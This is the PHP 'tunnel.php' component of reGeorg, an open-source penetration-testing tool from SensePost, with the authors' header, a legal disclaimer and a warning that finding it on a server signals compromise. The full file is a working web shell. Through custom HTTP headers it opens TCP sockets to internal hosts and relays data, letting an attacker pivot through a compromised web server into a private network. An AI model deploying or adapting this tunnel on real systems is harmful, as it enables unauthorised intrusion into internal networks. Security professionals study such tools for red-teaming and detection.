tunnel.php

<?php
/*                   _____
   ____   ______  __|___  |__  ______  _____  _____   ______
 |     | |   ___||   ___|    ||   ___|/     \|     | |   ___|
 |     \ |   ___||   |  |    ||   ___||     ||     \ |   |  |
 |__|\__\|______||______|  __||______|\_____/|__|\__\|______|
                    |_____|
                    ... every office needs a tool like Georg

  willem@sensepost.com / @_w_m__
  sam@sensepost.com / @trowalts
  etienne@sensepost.com / @kamp_staaldraad

Legal Disclaimer
Usage of reGeorg for attacking networks without consent
can be considered as illegal activity. The authors of
reGeorg assume no liability or responsibility for any
misuse or damage caused by this program.

If you find reGeorge on one of your servers you should
consider the server compromised and likely further compromise
to exist within your internal network.

For more information, see:
https://github.com/sensepost/reGeorg
*/

ini_set("allow_url_fopen", true);
ini_set("allow_url_include", true);
dl("php_sockets.dll");

if( !function_exists('apache_request_headers') ) {
    function apache_request_headers() {
        $arh = array();
        $rx_http = '/\AHTTP_/';

        foreach($_SERVER as $key => $val) {
            if( preg_match($rx_http, $key) ) {
                $arh_key = preg_replace($rx_http, '', $key);
                $rx_matches = array();
                $rx_matches = explode('_', $arh_key);
                if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
                    foreach($rx_matches as $ak_key => $ak_val) {
                        $rx_matches[$ak_key] = ucfirst($ak_val);
                    }

                    $arh_key = implode('-', $rx_matches);
                }
                $arh[$arh_key] = $val;
            }
        }
        return( $arh );
    }
}
if ($_SERVER['REQUEST_METHOD'] === 'GET')
{
    exit("Georg says, 'All seems fine'");
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
	set_time_limit(0);
	$headers=apache_request_headers();
	$cmd = $headers["X-CMD"];
    switch($cmd){
		case "CONNECT":
			{
				$target = $headers["X-TARGET"];
				$port = (int)$headers["X-PORT"];
				$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
				if ($sock === false)
				{
					header('X-STATUS: FAIL');
					header('X-ERROR: Failed creating socket');
					return;
				}
				$res = @socket_connect($sock, $target, $port);
                if ($res === false)
				{
					header('X-STATUS: FAIL');
					header('X-ERROR: Failed connecting to target');
					return;
				}
				socket_set_nonblock($sock);
				@session_start();
				$_SESSION["run"] = true;
                $_SESSION["writebuf"] = "";
                $_SESSION["readbuf"] = "";
                ob_end_clean();
                header('X-STATUS: OK');
                header("Connection: close");
                ignore_user_abort();
                ob_start();
                $size = ob_get_length();
                header("Content-Length: $size");
                ob_end_flush();
                flush();
				session_write_close();

				while ($_SESSION["run"])
				{
					$readBuff = "";
					@session_start();
					$writeBuff = $_SESSION["writebuf"];
					$_SESSION["writebuf"] = "";
					session_write_close();
                    if ($writeBuff != "")
					{
						$i = socket_write($sock, $writeBuff, strlen($writeBuff));
						if($i === false)
						{
							@session_start();
                            $_SESSION["run"] = false;
                            session_write_close();
                            header('X-STATUS: FAIL');
							header('X-ERROR: Failed writing socket');
						}
					}
					while ($o = socket_read($sock, 512)) {
					if($o === false)
						{
                            @session_start();
                            $_SESSION["run"] = false;
                            session_write_close();
							header('X-STATUS: FAIL');
							header('X-ERROR: Failed reading from socket');
						}
						$readBuff .= $o;
					}
                    if ($readBuff!=""){
                        @session_start();
                        $_SESSION["readbuf"] .= $readBuff;
                        session_write_close();
                    }
                    #sleep(0.2);
				}
                socket_close($sock);
			}
			break;
		case "DISCONNECT":
			{
                error_log("DISCONNECT recieved");
				@session_start();
				$_SESSION["run"] = false;
				session_write_close();
				return;
			}
			break;
		case "READ":
			{
				@session_start();
				$readBuffer = $_SESSION["readbuf"];
                $_SESSION["readbuf"]="";
                $running = $_SESSION["run"];
				session_write_close();
                if ($running) {
					header('X-STATUS: OK');
                    header("Connection: Keep-Alive");
					echo $readBuffer;
					return;
				} else {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: RemoteSocket read filed');
					return;
				}
			}
			break;
		case "FORWARD":
			{
                @session_start();
                $running = $_SESSION["run"];
				session_write_close();
                if(!$running){
                    header('X-STATUS: FAIL');
					header('X-ERROR: No more running, close now');
                    return;
                }
                header('Content-Type: application/octet-stream');
				$rawPostData = file_get_contents("php://input");
				if ($rawPostData) {
					@session_start();
					$_SESSION["writebuf"] .= $rawPostData;
					session_write_close();
					header('X-STATUS: OK');
                    header("Connection: Keep-Alive");
					return;
				} else {
					header('X-STATUS: FAIL');
					header('X-ERROR: POST request read filed');
				}
			}
			break;
	}
}
?>